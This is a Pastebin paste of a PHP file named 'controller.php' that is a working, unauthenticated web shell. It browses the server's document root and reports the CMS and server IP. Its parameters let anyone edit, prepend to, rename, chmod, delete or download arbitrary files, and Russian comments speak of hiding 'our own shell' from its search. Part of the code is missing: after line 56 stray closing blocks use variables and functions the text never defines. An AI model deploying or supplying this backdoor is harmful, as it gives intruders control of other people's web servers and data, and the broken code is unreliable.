PalmaSolutions

controller.php

May 3rd, 2018
364
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 22.43 KB | None | 0 0
  1. <?php
  2. function DirFilesR($dir)
  3.   {
  4.     $handle = opendir($dir) or die("Can't open directory $dir");
  5.     $files = Array();
  6.     $subfiles = Array();
  7.     while (false !== ($file = readdir($handle)))
  8.     {
  9.       if ($file != "." && $file != "..")
  10.       {
  11.         if(is_dir($dir."/".$file))
  12.         {
  13.           $subfiles = DirFilesR($dir."/".$file);
  14.           $files = array_merge($files,$subfiles);
  15.         }
  16.         else
  17.         {
  18.           $files[] = $dir."/".$file;
  19.         }
  20.       }
  21.     }
  22.        
  23.     closedir($handle);
  24.     return $files;
  25.   }
  26.  
  27. if (isset($_GET['juke']))
  28. {
  29.     $arr_files = DirFilesR($_SERVER['DOCUMENT_ROOT']);
  30.  
  31.     echo '<td><hr><hr>';
  32.     foreach ($arr_files as $key)
  33.     {
  34.         echo $key.';'.filesize($key)."<br>\n";
  35.     }
  36.     echo '<hr><hr></td>';
  37.    
  38.     exit;
  39. }
  40. ?>
  41. <html>
  42. <head>
  43.     <title><?php echo $_SERVER['SCRIPT_FILENAME'];?></title>
  44.     <style type="text/css">
  45.     INPUT[type="text"] {background-color: #fff8e7;} body{background: #fff8e7;color: #4c5866;font-family: Verdana;font-size: 11px;}
  46.     a:link{color: #33CC99;} a:visited{color: #33CC99;}  a:hover{text-decoration: none;Color: #3399FF;}table {font-size: 11px;}
  47.     td {padding: 1px;padding-left: 10px;padding-right: 10px;padding-top: 2px;}
  48.     </style>
  49. </head>
  50. <body>
  51. <table cellpadding="5" width="80%">
  52.    
  53.             <script language = 'javascript'>
  54.             var delay = 300;
  55.             setTimeout("document.location.href='<?php echo $redirect;?>'", delay);
  56.             </script>
  57.             <?php  
  58.         }
  59.         else
  60.             echo 'error: file finderdata.txt can not create';
  61.        
  62.     }
  63.     else
  64.     {
  65.         $all_path = read_file($finderdata_path);
  66.         $urls_for_work = array ();
  67.        
  68.         for ( $u=0; $u < 900; $u++ )
  69.         {
  70.             if (($all_path[$u] !== null) and ($all_path[$u] !== ' ') and ($all_path[$u] !== '') and ($all_path[$u] !== '.') and ($all_path[$u] !== '..'))
  71.                 $urls_for_work[] = trim($all_path[$u]);
  72.         }
  73.  
  74.         for ( $i=0; $i < 900; $i++ )
  75.         {
  76.             unset($all_path[$i]);
  77.         }
  78.                
  79.         $fnew = fopen($finderdata_path, "w");
  80.         foreach ($all_path as $each_path)
  81.         {
  82.             if (($each_path !== null) and ($each_path !== '') and ($each_path !== ' '))
  83.                 fwrite($fnew, $each_path."\n");
  84.         }
  85.         fclose($fnew);
  86.  
  87.         foreach ($urls_for_work as $each_for_check)
  88.         {
  89.             if (file_exists($each_for_check))
  90.             {
  91.                 if (((filesize($each_for_check)) < 5000000))
  92.                 $each_read = only_read($each_for_check);
  93.                 else
  94.                     $each_read = '';
  95.                
  96.                 $result = stristr($each_read, $search_str);
  97.                 $result2 = stristr($each_read, $search_str2);
  98.                 $result3 = stristr($each_read, $search_str3);
  99.                 $result4 = stristr($each_read, $search_str4);
  100.                 $result5 = stristr($each_read, $search_str5);
  101.                 $result6 = stristr($each_read, $search_str6);
  102.                 $result7 = stristr($each_read, $search_str7);
  103.                 $result8 = stristr($each_read, $search_str8);
  104.                 $result9 = stristr($each_read, $search_str9);
  105.                 $result10 = stristr($each_read, $search_str10);
  106.                 $result11 = stristr($each_read, $search_str11);
  107.                 $result12 = stristr($each_read, $search_str12);
  108.                 if (($result !== false) or ($result2 !== false) or ($result3 !== false) or ($result4 !== false) or ($result5 !== false) or ($result6 !== false) or ($result7 !== false) or ($result8 !== false) or ($result9 !== false) or ($result10 !== false) or ($result11 !== false) or ($result12 !== false))
  109.                 {
  110.                     $f = fopen ($good_result_path, "a");
  111.                     fwrite($f, $each_for_check."\n");
  112.                     fclose($f);
  113.                 }
  114.             }
  115.         }
  116.        
  117.         if (count($all_path)>0)
  118.             echo count($all_path)." files for check<br>";
  119.         else
  120.             echo '<tr><td>Finish!</td></tr>';
  121.        
  122.         $for_check = read_file($finderdata_path);
  123.         if (file_exists($finderdata_path) and (filesize($finderdata_path)>1))
  124.         {
  125.             $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
  126.             $redirect = 'http://'.$redirect.'?finder';;
  127.             ?> 
  128.             <script language = 'javascript'>
  129.             var delay = 100;
  130.             setTimeout("document.location.href='<?php echo $redirect;?>'", delay);
  131.             </script>
  132.             <?php
  133.         }
  134.         else
  135.         {
  136.             $arr_result = read_file($good_result_path);
  137.            
  138.             foreach ($arr_result as $each)
  139.             {
  140.                 if (($each !== null) and ($each !== '') and ($each !== ' '))
  141.                 {
  142.                     if (isset ($_GET['dir']))
  143.                         $dr = $_GET['dir'];
  144.                     else
  145.                         $dr = $_SERVER['DOCUMENT_ROOT'];
  146.                    
  147.                    
  148.                     $time = get_time($each);
  149.                    
  150.                     $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
  151.                    
  152.                     echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$each&dir=$dr\"><font color=\"black\">$each</font></a>"."</td><td>".get_filesize($each)."</td><td>$time</td><td>".perms($each, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$each&dir=$dr\">U</a>&nbsp;"."<a href=\"http://$domain$script_path?edit=$each&dir=$dr\">E</a>&nbsp;"."<a target=\"_blank\" href=\"http://$real_url\">O</a>&nbsp;"."<a href=\"http://$domain$script_path?download=$each&dir=$dr\">D</a>"."</td></tr>";
  153.                 }
  154.             }
  155.             if (file_exists($finderdata_path))
  156.                 unlink($finderdata_path);
  157.            
  158.             if (file_exists($good_result_path))
  159.                 unlink($good_result_path);
  160.         }
  161.    
  162.         // + 1. Открываем текст. док, берем только первые 100 строк, обращаемся к каждому only_read($file)
  163.         // + 2. Ищем нужные нам слова. Перезапускаем, выводим, сколько еще раундов впереди, ждем. Результаты (гуды) сохраняем в отдельный файл
  164.         // + 3. Свой шелл исключать из выдачи поиска
  165.         // + 4. Выдача идет построчно, с возможностью файл удалить, отредактировать, удалить
  166.         // 5. Если строки кончились - выводим результаты чека (с возможностью открыть файл в браузере + открыть окно редактирования)
  167.         // 6. Удаляем все файлы, если все удалилось - выводим, что поиск завершен успешно, иначе - пишем, что нужно удалить файл
  168.        
  169.        
  170.        
  171.     }
  172. }
  173. if (isset ($_GET['download']))
  174. {
  175.     $file_for_save = $_GET['download'];
  176.        
  177.     if (file_exists($file_for_save))
  178.     {  
  179.         header('Content-Description: File Transfer');
  180.         header('Content-Type: application/octet-stream');
  181.         header('Content-Disposition: attachment; filename=' . basename($file_for_save));
  182.         header('Content-Transfer-Encoding: binary');
  183.         header('Expires: 0');
  184.         header('Cache-Control: must-revalidate');
  185.         header('Pragma: public');
  186.         header('Content-Length: ' . filesize($file_for_save));
  187.         readfile($_GET['download']);
  188.         exit;
  189.     }
  190. }
  191. ?>
  192. <?php
  193. //set_time_limit (0);
  194.  
  195. function get_filesize($file)
  196. {
  197.     if(!file_exists($file)) return "Файл  не найден";
  198.     $filesize = filesize($file);
  199.    if($filesize > 1024)
  200.    {
  201.        $filesize = ($filesize/1024);
  202.        if($filesize > 1024)
  203.        {
  204.             $filesize = ($filesize/1024);
  205.            if($filesize > 1024)
  206.            {
  207.                $filesize = ($filesize/1024);
  208.                $filesize = round($filesize, 1);
  209.                return $filesize." gb";      
  210.            }
  211.            else
  212.            {
  213.                $filesize = round($filesize, 1);
  214.                return $filesize." mb";  
  215.            }      
  216.        }
  217.        else
  218.        {
  219.            $filesize = round($filesize, 1);
  220.            return $filesize." kb";  
  221.        }  
  222.    }
  223.    else
  224.    {
  225.        $filesize = round($filesize, 1);
  226.        return $filesize." b";  
  227.    }
  228. }
  229.  
  230. function get_time($file)
  231. {
  232.     if(!file_exists($file)) return "no info";
  233.    
  234.     $last_update = filemtime($file);
  235.     $time = date('Y-m-d H:i:s', $last_update);
  236.    
  237.     return $time;
  238. }
  239.  
  240.  
  241.  
  242.  
  243.  
  244. function perms($filename, $check)
  245. {
  246.     $perms = substr(decoct(fileperms($filename)), -3);
  247.     if ($perms == '644')
  248.         $color = 'green';
  249.     elseif ($perms == '755')
  250.         $color = '#2EC842';
  251.     elseif ($perms == '444')
  252.         $color = 'brown';
  253.     elseif ($perms == '000')
  254.         $color = 'red';
  255.     elseif ($perms == '744')
  256.         $color = 'orange';
  257.     elseif ($perms == '664')
  258.         $color = 'green';
  259.     else
  260.         $color = 'grey';
  261.     if ($check == 1)   
  262.         return $perms;
  263.     else
  264.         return "<font color=$color>".$perms."</font>";
  265. }
  266. function CMS()
  267. {
  268.     if ((is_dir($_SERVER['DOCUMENT_ROOT'].'/administrator/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/components/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/includes/')))
  269.         return "Joomla!";
  270.     elseif ((is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-content/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-admin/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-includes/')))
  271.         return "WordPress";
  272.     else
  273.         return "Unknown";
  274. }
  275. function folder_separate($path)
  276. {
  277.     $pos_end = strripos($path, '/');
  278.     $path2 = substr_replace($path, '', $pos_end, 99999);
  279.                
  280.     return $path2;
  281. }
  282.  
  283. function side_bar($make_file)
  284. {
  285.     echo '<td align="right" colspan="2">';
  286.    
  287.     ///// Поиск файла
  288.     echo "<form action = '".$make_file."' method = 'POST'>";
  289.     echo "<input name=\"search_file\" size=\"7\" type=\"text\" placeholder=\".suspected\" />";
  290.     echo "<input type=\"submit\" value=\"ok\" /></form>";
  291.     ///// Поиск файла
  292.    
  293.     ///// Создание файла
  294.     echo "<form action = '".$make_file."' method = 'POST'>";
  295.     echo "<input name=\"new_file\" size=\"7\" type=\"text\" placeholder=\"make file\" />";
  296.     echo "<input type=\"submit\" value=\"ok\" /></form>";
  297.     ///// Создание файла
  298.                
  299.     ///// Создание директории
  300.     echo "<form action = '".$make_file."' method = 'POST'>";
  301.     echo "<input name=\"new_dir\" size=\"7\" type=\"text\" placeholder=\"make dir\" />";
  302.     echo "<input type=\"submit\" value=\"ok\" /></form>";
  303.     ///// Создание директории
  304.     echo '</td></tr>';
  305. }
  306.  
  307. if (isset($_GET['rename']))
  308. {
  309.     if (!empty($_POST ['n_name']))
  310.     {
  311.         if (rename($_GET['rename'], $_POST ['n_name']))
  312.             $message_rename = '<font color="green"><b>Name changed!</b></font>';
  313.         else
  314.             $message_rename = '<font color="red"><b>Name can not be changed</b></font>';
  315.            
  316.         echo $message_rename;
  317.     }
  318. }
  319.  
  320. function edit_file($file, $current)
  321. {
  322.     if (!empty($_POST['chm']))
  323.     {
  324.         if ($_POST['chm'] == '0755')
  325.         {
  326.             if (chmod($file, 0755))
  327.                 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
  328.             else
  329.                 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
  330.            
  331.         }
  332.         elseif ($_POST['chm'] == '0444')
  333.         {
  334.             if (chmod($file, 0444))
  335.                 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
  336.             else
  337.                 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
  338.         }
  339.         else
  340.             $message_chmod = '0755<br>0444<br><br>';
  341.        
  342.         echo $message_chmod;
  343.        
  344.     }
  345.     if (empty($_POST['new']))
  346.     {
  347.         $pos_end = strripos($file, '/');
  348.         $dir = substr_replace($file, '', $pos_end, 99999);
  349.  
  350.         if (file_exists($file) and (filesize($file)>1))
  351.         {
  352.             if (!$fp = fopen ($file, "r"))
  353.             {
  354.                 echo 'no have permission<br>';
  355.                 $file_cont = 'can\'t show';
  356.             }
  357.             else
  358.             {
  359.                 $file_cont = fread ($fp, filesize ($file));
  360.                 fclose ($fp);
  361.             }
  362.         }
  363.         else
  364.             $file_cont = '';
  365.        
  366.         $file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
  367.         $file_cont = htmlspecialchars($file_cont);
  368.  
  369.         echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
  370.         echo "File: ". $file . "<br>\n";
  371.         echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
  372.         echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
  373.        
  374.         echo "<tr><td align=\"left\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
  375.         echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"".perms($file, '1')."\"/>";
  376.         echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
  377.        
  378.         echo "<td colspan=\"3\" align=\"left\"><form action = 'http://".$current."?rename=".$file."&dir=".$dir."' method = 'POST'>\n";
  379.         echo "<input type=\"text\" name='n_name' size=\"72\" value=\"$file\">";
  380.         echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
  381.     }
  382.     else
  383.     {
  384.         if (!empty($_POST['new_remote']))
  385.         {
  386.             $file_cont = only_read($file);
  387.             $file_cont = $_POST['new'].$file_cont;
  388.            
  389.             $fp = fopen ($file, "w");
  390.             if (fwrite ($fp, $file_cont))
  391.                 $message = ' - <font color="green"><b>Edited!</b></font>';
  392.             else
  393.                 $message = ' - <font color="red"><b>Unable to edit!</b></font>';
  394.             fclose ($fp);
  395.         }
  396.         else
  397.         {
  398.             $fp = fopen ($file, "w");
  399.             if (fwrite ($fp, $_POST ['new']))
  400.                 $message = ' - <font color="green"><b>Edited!</b></font>';
  401.             else
  402.                 $message = ' - <font color="red"><b>Unable to edit!</b></font>';
  403.             fclose ($fp);
  404.         }
  405.        
  406.         $pos_end = strripos($file, '/');
  407.         $dir = substr_replace($file, '', $pos_end, 99999);
  408.  
  409.         $fp = fopen ($file, "r");
  410.         $file_cont = fread ($fp, filesize ($file));
  411.         fclose ($fp);
  412.        
  413.        
  414.         //$file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
  415.         //echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
  416.         //echo "File: ". $file . $message . "<br>\n";
  417.         //echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
  418.         //echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
  419.        
  420.         $file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
  421.        
  422.         echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
  423.         echo "File: ". $file . $message . "<br>\n";
  424.         echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
  425.         echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
  426.        
  427.         echo "<tr><td align=\"left\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
  428.         echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"".perms($file, '1')."\"/>";
  429.         echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
  430.        
  431.         echo "<td colspan=\"3\" align=\"left\"><form action = 'http://".$current."?rename=".$file."&dir=".$dir."' method = 'POST'>\n";
  432.         echo "<input type=\"text\" name='n_name' size=\"72\" value=\"$file\">";
  433.         echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
  434.        
  435.         if (chmod($file, 0444))
  436.             $message_chmod_last = '<font color="green"><b>Permission changed!</b></font>';
  437.         else
  438.             $message_chmod_last = '<font color="red"><b>Unable change permission!</b></font>';
  439.     }
  440.    
  441. }
  442.  
  443. if (isset ($_GET['del']))
  444. {
  445.     if (is_dir($_GET['del']))
  446.         clear_folder($_GET['del']);
  447.     else
  448.         del_file($_GET['del']);
  449.    
  450. }
  451.  
  452. $domain = $_SERVER['SERVER_NAME'];
  453. $script_path = $_SERVER['SCRIPT_NAME'];
  454. $arr_folder = array();
  455. $arr_filenames = array();
  456.  
  457.  
  458. ?>
  459.     <tr align="left">
  460.         <td colspan="3">
  461.             CMS: <?php echo CMS();?><br>
  462.             Server IP: <?php echo $_SERVER['SERVER_ADDR'];?><br>
  463.             Root: <?php echo '<a href="'.'http://'.$domain.$script_path.'?dir='.$_SERVER['DOCUMENT_ROOT'].'">'.$_SERVER['DOCUMENT_ROOT'].'</a>'; ?>
  464.             <br><br>
  465.             Directory:
  466.             <?php
  467.             if (isset ($_GET['dir']))
  468.                 $path = $_GET['dir'];
  469.             else
  470.                 $path = $_SERVER['DOCUMENT_ROOT'];
  471.    
  472.            
  473.             $arr_path = explode("/", $path);
  474.             $slesh_count = count($arr_path)-1;
  475.  
  476.             $arr_links = array();
  477.             $path_for_work = $path;
  478.            
  479.             for ($i=1; $i <= $slesh_count; $i++)
  480.             {
  481.                 $path_for_work = folder_separate($path_for_work);
  482.                 $arr_links[] = $path_for_work;
  483.             }
  484.             for ($i=1; $i <= $slesh_count; $i++)
  485.             {
  486.                 $k = $slesh_count - $i - 1;
  487.                 if ($i !== $slesh_count)
  488.                     echo '<a href="http://'.$domain.$script_path.'?dir='.$arr_links["$k"].'">'.$arr_path["$i"].'</a>/';
  489.                 else
  490.                     echo '<a href="http://'.$domain.$script_path.'?dir='.$path.'">'.$arr_path["$i"].'</a>';
  491.             }
  492.             ?>
  493.            
  494.            
  495.         </td>
  496.     <?php
  497.    
  498.         if (isset ($_GET['dir']))
  499.         {
  500.             if (isset ($_POST['new_file_name']))
  501.             {
  502.                 $new_file = $_GET['dir'] . '/' . $_POST['new_file_name'];
  503.                 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $new_file;
  504.             }
  505.             else
  506.                 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'];
  507.         }
  508.         else
  509.         {
  510.             if (isset ($_POST['new_file_name']))
  511.             {
  512.                 $new_file = $_SERVER['DOCUMENT_ROOT']. '/' . $_POST['new_file_name'];
  513.                 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $new_file;
  514.             }
  515.             else
  516.                 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_SERVER['DOCUMENT_ROOT'];
  517.         }  
  518.    
  519.    
  520.         ///////////////////////
  521.    
  522.         if ((empty($_POST ['new_file'])) and (empty($_POST ['search_file'])) and (empty($_POST ['new_dir'])))
  523.         {
  524.             if (isset ($_GET['dir']))
  525.                 $path = $_GET['dir'];
  526.             else
  527.                 $path = $_SERVER['DOCUMENT_ROOT'];
  528.            
  529.             $make_file = 'http://' . $domain . $script_path . '?dir=' . $path;
  530.            
  531.             side_bar($make_file);
  532.         }
  533.         elseif (!empty($_POST ['new_file']))
  534.         {
  535.             if (isset ($_GET['dir']))
  536.                 $path = $_GET['dir'].'/'.$_POST ['new_file'];
  537.             else
  538.                 $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST ['new_file'];
  539.            
  540.             $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $path;
  541.  
  542.             if ($fp = fopen ($path, "w"))
  543.             {
  544.                 echo '<font color="green">File created successfully!</font>';
  545.                 side_bar($make_file);
  546.             }
  547.             else
  548.             {
  549.                 echo '<font color="red">Can not create!</font>';
  550.                 side_bar($make_file);
  551.             }
  552.             fclose ($fp);
  553.         }
  554.         /////////////////////
  555.         elseif (!empty($_POST['new_dir']))
  556.         {
  557.             if (isset($_GET['dir']))
  558.                 $path = $_GET['dir'].'/'.$_POST['new_dir'];
  559.             else
  560.                 $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST['new_dir'];
  561.            
  562.             $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&new_dir=' . $path;
  563.  
  564.             if ($fp = mkdir($path))
  565.             {
  566.                 side_bar($make_file);
  567.                 echo "<tr align=\"center\"><td align=\"left\" >"."<font color=\"green\">Folder created successfully!</font></td>"."<td></td><td></td><td></td><td></td></tr>";
  568.             }
  569.             else
  570.             {
  571.                 side_bar($make_file);
  572.                 echo "<tr align=\"center\"><td align=\"left\" >"."<font color=\"red\">Can not create folder!</font></td>"."<td></td><td></td><td></td><td></td></tr>";
  573.             }
  574.         }
  575.         ///////////////////////
  576.        
  577.         ///////////////////////
  578.         elseif (!empty($_POST['search_file']))
  579.         {
  580.             $file_name_for_search = $_POST['search_file'];
  581.             $arr_all_filenames = findshells($_SERVER['DOCUMENT_ROOT']);
  582.                
  583.             if (isset ($_GET['dir']))
  584.                 $dr = $_GET['dir'];
  585.             else
  586.                 $dr = $_SERVER['DOCUMENT_ROOT'];
  587.            
  588.             side_bar($make_file);
  589.            
  590.             foreach ($arr_all_filenames as $each_file_name)
  591.             {
  592.                 $result = stristr($each_file_name, $file_name_for_search);
  593.                 if ($result !== false)
  594.                 {
  595.                     $time = get_time($each_file_name);
  596.                     $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each_file_name);
  597.                     echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$each_file_name&dir=$dr\"><font color=\"black\">$each_file_name</font></a>"."</td><td>".get_filesize($each_file_name)."</td><td>$time</td><td>".perms($each_file_name, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$each_file_name&dir=$dr\">U</a>&nbsp;"."<a href=\"http://$domain$script_path?edit=$each_file_name&dir=$dr\">E</a>&nbsp;"."<a target=\"_blank\" href=\"http://$real_url\">O</a>&nbsp;"."<a href=\"http://$domain$script_path?download=$each_file_name&dir=$dr\">D</a>"."</td></tr>";
  598.                 }
  599.             }
  600.         }
  601.         ///////////////////////
  602.        
  603.        
  604.     if (isset ($_GET['edit']))
  605.     {
  606.         $current = $domain.$script_path;
  607.         edit_file($_GET['edit'], $current);
  608.     }
  609.     ?>
  610.    
  611.     <tr align="center" style="color: #423c63;"><td align="left"><b>Name</b></td><td><b>Size</b></td><td><b>Modify</b></td><td><b>Permissions</b></td><td><b>Actions</b></td></tr>
  612.  
  613.     <?php
  614.    
  615.     if (isset ($_GET['dir']))
  616.     {
  617.         $arr_files = scandir($_GET['dir']);
  618.     }
  619.     else
  620.     {
  621.         $arr_files = scandir($_SERVER['DOCUMENT_ROOT']);
  622.     }
  623.  
  624.     foreach ($arr_files as $each)
  625.     {
  626.         $str_for_search = $each;
  627.         if (isset ($_GET['dir']))
  628.             $str_for_search = $_GET['dir'].'/'.$each;
  629.         else
  630.             $str_for_search = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
  631.  
  632.         if (is_dir($str_for_search))
  633.             $arr_folder[] = $each;
  634.         else
  635.             $arr_filenames[] = $each;
  636.     }
  637.     $k = 0;
  638.     foreach ($arr_folder as $each)
  639.     {
  640.         if (($each !== '.') and ($each !== '..'))
  641.         {
  642.             if (isset ($_GET['dir']))
  643.             {
  644.                 $p = $_GET['dir'].'/'.$each;
  645.                 $next_dir = $_GET['dir'].'/'.$each;
  646.             }
  647.             else
  648.             {
  649.                 $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
  650.                 $next_dir = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
  651.             }
  652.            
  653.             $path_for_unlink = $next_dir;
  654.             $for_del = strrchr($path_for_unlink, '/');
  655.             $path_for_unlink = str_replace($for_del, '', $path_for_unlink);
  656.        
  657.             $time = get_time($p);
  658.            
  659.             if ($k % 2 == 0)
  660.                 $color_bg = '#fff8e7';
  661.             else
  662.                 $color_bg = '#ffffe0';
  663.            
  664.             echo "<tr bgcolor=\"$color_bg\" align=\"center\"><td align=\"left\" >"."<font color=\"#904d30\"><b><a href=\"http://$domain$script_path?dir=$next_dir\">$each</a></b></font>"."</td><td>dir</td><td>$time</td><td>".perms($p, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$p&dir=$path_for_unlink\">U</a>&nbsp;"."</td></tr>";
  665.             $k++;
  666.         }
  667.     }
  668.    
  669.  
  670.     foreach ($arr_filenames as $each)
  671.     {
  672.        
  673.         if (isset ($_GET['dir']))
  674.         {
  675.             $p = $_GET['dir'].'/'.$each;
  676.             $dr = $_GET['dir'];
  677.         }
  678.            
  679.         else
  680.         {
  681.             $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
  682.             $dr = $_SERVER['DOCUMENT_ROOT'];
  683.         }
  684.         $time = get_time($p);
  685.        
  686.         $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $p);
  687.        
  688.         if ($k % 2 == 0)
  689.             $color_bg = '#fff8e7';
  690.         else
  691.             $color_bg = '#ffffe0';
  692.  
  693.         $per = stristr($each, '.zip');
  694.         if ($per !== false)
  695.             $per = "<a href=\"http://$domain$script_path?unzip=$p&dir=$dr\">Z</a>&nbsp;";
  696.         else
  697.             $per = "<a href=\"http://$domain$script_path?edit=$p&dir=$dr\">E</a>&nbsp;";
  698.  
  699.         echo "<tr bgcolor=\"$color_bg\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$p&dir=$dr\"><font color=\"black\">$each</font></a>"."</td><td>".get_filesize($p)."</td><td>$time</td><td>".perms($p, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$p&dir=$dr\">U</a>&nbsp;".$per."<a target=\"_blank\" href=\"http://$real_url\">O</a>&nbsp;"."<a href=\"http://$domain$script_path?download=$p&dir=$dr\">D</a>"."</td></tr>";
  700.        
  701.         $k++;
  702.     }
  703. ?>
  704. </table>
Advertisement
Add Comment
Please, Sign In to add comment